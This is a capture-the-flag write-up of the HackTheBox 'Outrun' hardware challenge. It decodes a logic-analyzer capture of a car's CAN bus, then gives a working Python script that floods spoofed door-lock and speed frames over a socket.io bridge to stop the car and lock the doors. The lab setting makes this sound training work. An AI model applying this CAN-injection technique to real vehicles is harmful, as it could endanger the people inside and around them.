hardwarefreemedium

Outrun

hackthebox

Task: HackTheBox hardware challenge with a Saleae .logicdata CAN capture and a socket.io bridge to a live car. Solution: reverse the .logicdata as uint16 analog samples, decode single-wire CAN at 1.25 Mbps (invert + destuff + CRC-15) to learn the frame format, then connect via an Engine.IO v3 client and flood spoofed 0x122 (lock:1) and 0x402 (speed=0) frames to stop the car and lock the doors.

$ ls tags/ techniques/
logicdata_format_reversinganalog_sample_thresholdingcan_bitrate_detectioncan_frame_destuffingcrc15_validationsocketio_eio3_downgradecan_id_semantic_reversingvalue_field_mappingframe_flooding_replaydoor_lock_can_injectionspeedometer_can_injection

Outrun — HackTheBox

Description

A corporate spy is escaping in a prototype vehicle. A drone is in range to exploit the TCU (Telematics Control Unit) and grant access to the car's inner CAN network. Stop the car and lock the doors to trap the spy and safeguard the IP.

Two files are given: PCS_checklog.logicdata — a 787 MB Saleae logic-analyzer capture (a "system check log" of the car), and bridge.py — a Python socket.io client wrapper from internal documentation that connects to a live instance on port 5000. Goal: drive the on-board CAN bus to speed 0 and lock the doors over a single socket connection to receive the flag.

Analysis

The challenge has two independent halves: an offline capture that teaches the CAN frame format, and a live socket.io instance where the actual exploit happens.

PCS_checklog.logicdata — Saleae Logic 1.x capture

  • Header starts with 7f 01 0a 01 0a "Data save2" and lists two channels (Channel 0 / Channel 1). This is the legacy .logicdata format, NOT the newer .sal. sigrok-cli has no input module for .logicdata, so the file must be parsed by hand (sigrok does, however, ship a usable can protocol decoder).
  • The data region (from offset ~0x194) is a flat array of uint16 little-endian analog ADC samples, not an RLE/transition list. The recurring "value, 0x08" byte pattern people mistake for run-length data is simply the low/high bytes of 16-bit values clustered around ~2057.
  • Sample rate is a u32 in the header at offset 0x19 = 2500000025 MHz, ~393.7M samples (~15.7 s).
  • The file has multiple segments. Only the first segment (~samples 4.21M–24M, ~0.8 s) is CAN traffic; later segments are full-scale analog sensor data and are red herrings.

Single-wire CAN at an unusual bitrate

  • The line is a single single-ended CAN signal sampled as analog. Idle ≈ low (recessive), dominant ≈ high. The logical bitstream is the inverted physical signal (recessive = 1).
  • The shortest pulse = one bit time = 20 samples → bitrate = 25 MHz / 20 = 1.25 Mbps. This is the key gotcha: it is NOT the typical 500 kbps automotive rate. Confirmation is unambiguous — with BIT=20 + inversion, 102/102 candidate frames pass CRC-15, versus 0 at 500 kbps.
  • Decoding with an edge-resync sampler + bit destuffing (undo a stuffed bit after 5 identical bits) + CRC-15 validation yields 662 CRC-valid standard 11-bit CAN frames spanning 17 unique IDs: 0x023 0x063 0x153 0x213 0x21E 0x232 0x234 0x343 0x356 0x402 0x403 0x443 0x523 0x541 0x612 0x663 0x665.
  • Representative frames: 0x612 [10 00 80 00 22 00 00 00] (byte0 = heartbeat counter), 0x402 [00 00 00 00 00 F1 00 00] (byte5 = counter), 0x343 DLC=4 [00 60 00 4B]. The log's real purpose is to teach the CAN ID + payload format, not to hand over the commands.

bridge.py and the live server

  • bridge.py uses socketio.Client() and emits/receives an endpoint event carrying packet strings in a loop with time.sleep(0.1).
  • The server is an old Flask-SocketIO speaking Engine.IO v3 (response framing like 00 09 08 ff 30 ... even when queried with EIO=4). A modern python-socketio 5.x (EIO4) client FAILS with "Unexpected response from server".
  • A "Car dashboard" web page polls /data returning JSON {door_status, rpm, speedometer} and states: "Use of one socket connection is mandatory in order to obtain the flag from the endpoint." door_status 1 = unlocked, 0 = LOCKED.

Solution

Phase 1 — Parse .logicdata and decode CAN

parse_logicdata.py reads the uint16 LE samples from offset 0x194; decode_can2.py thresholds + inverts the first segment, samples at 20 samples/bit with edge resync, undoes bit stuffing, and validates CRC-15. Output (can_frames.txt) confirms 1.25 Mbps and the ID#payload structure.

#!/usr/bin/env python3 # decode_can2.py (core) — single-wire CAN from Saleae .logicdata analog samples import numpy as np SAMPLE_RATE = 25_000_000 BIT = 20 # 25 MHz / 20 = 1.25 Mbps raw = np.fromfile("PCS_checklog.logicdata", dtype="<u2", offset=0x194) seg = raw[4_210_000:24_000_000] # first segment = CAN thr = (seg.max() + seg.min()) / 2 bits_phys = (seg > thr).astype(np.uint8) logical = 1 - bits_phys # recessive = 1 (invert) def crc15(bits): crc = 0 for b in bits: x = ((crc >> 14) & 1) ^ b crc = (crc << 1) & 0x7FFF if x: crc ^= 0x4599 return crc # edge-resync sampler -> bitstream, then per-frame: # - SOF(0), 11-bit ID, RTR/IDE/r0, 4-bit DLC, data, 15-bit CRC # - destuff: after 5 identical bits drop the next (complementary) bit # - accept frame iff crc15(SOF..data) == transmitted CRC # Result: 662 CRC-valid frames, 17 unique IDs (incl. 0x122-family, 0x402, 0x343...)

Phase 2 — Connect with an Engine.IO v3 client

python3 -m venv venv && . venv/bin/activate pip install "python-socketio==4.6.1" "python-engineio==3.14.2"
import socketio sio = socketio.Client() sio.connect('http://IP:PORT') # NO trailing slash — critical for EIO3

Phase 3 — Reverse control semantics from live traffic

Listening to live endpoint events:

  • ID 0x122 carries ASCII: 122#6c6f636b3a300000lock:0 (unlocked). This is the door-lock frame.
  • Door lock: emit 122# + hex("lock:1") = 122#6c6f636b3a310000/data door_status flips to 0 (locked). Confirmed.
  • Speed: ID 0x402 carries the speedometer. Flooding 0x402 byte-by-byte shows bytes[4:6] form a 16-bit big-endian value with speedometer = (b4<<8 | b5) - 52. So b4=0, b5=0x34 → speed 0: 402#0000000000340000. Confirmed.
  • RPM: server-side random (~4600–5500), NOT controllable by any frame (verified by flooding every ID with 0x00/0xFF). Cosmetic decoy — ignore.
  • Single setpoints do not persist: the server continuously re-emits its own random telemetry on 0x402 and lock:0 on 0x122. You must flood to win the race.

Phase 4 — Exploit (flood over one socket)

#!/usr/bin/env python3 import socketio, time sio = socketio.Client() SPEED0 = "402#0000000000340000" # speedometer -> 0 LOCK = "122#6c6f636b3a310000" # ASCII "lock:1" -> doors locked @sio.on('endpoint') def on_endpoint(data): print("recv:", data) # flag arrives here when car stopped + locked sio.connect('http://IP:PORT') # no trailing slash, EIO3 client while True: sio.emit('endpoint', SPEED0) sio.emit('endpoint', LOCK) time.sleep(0.001) # tight loop to beat server's random telemetry

Continuously emitting both frames over the single connection holds speedometer=0 AND door_status=0 simultaneously, beating the server's re-emitted telemetry → the car is stopped and the doors are locked → the flag is delivered on the endpoint event.

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups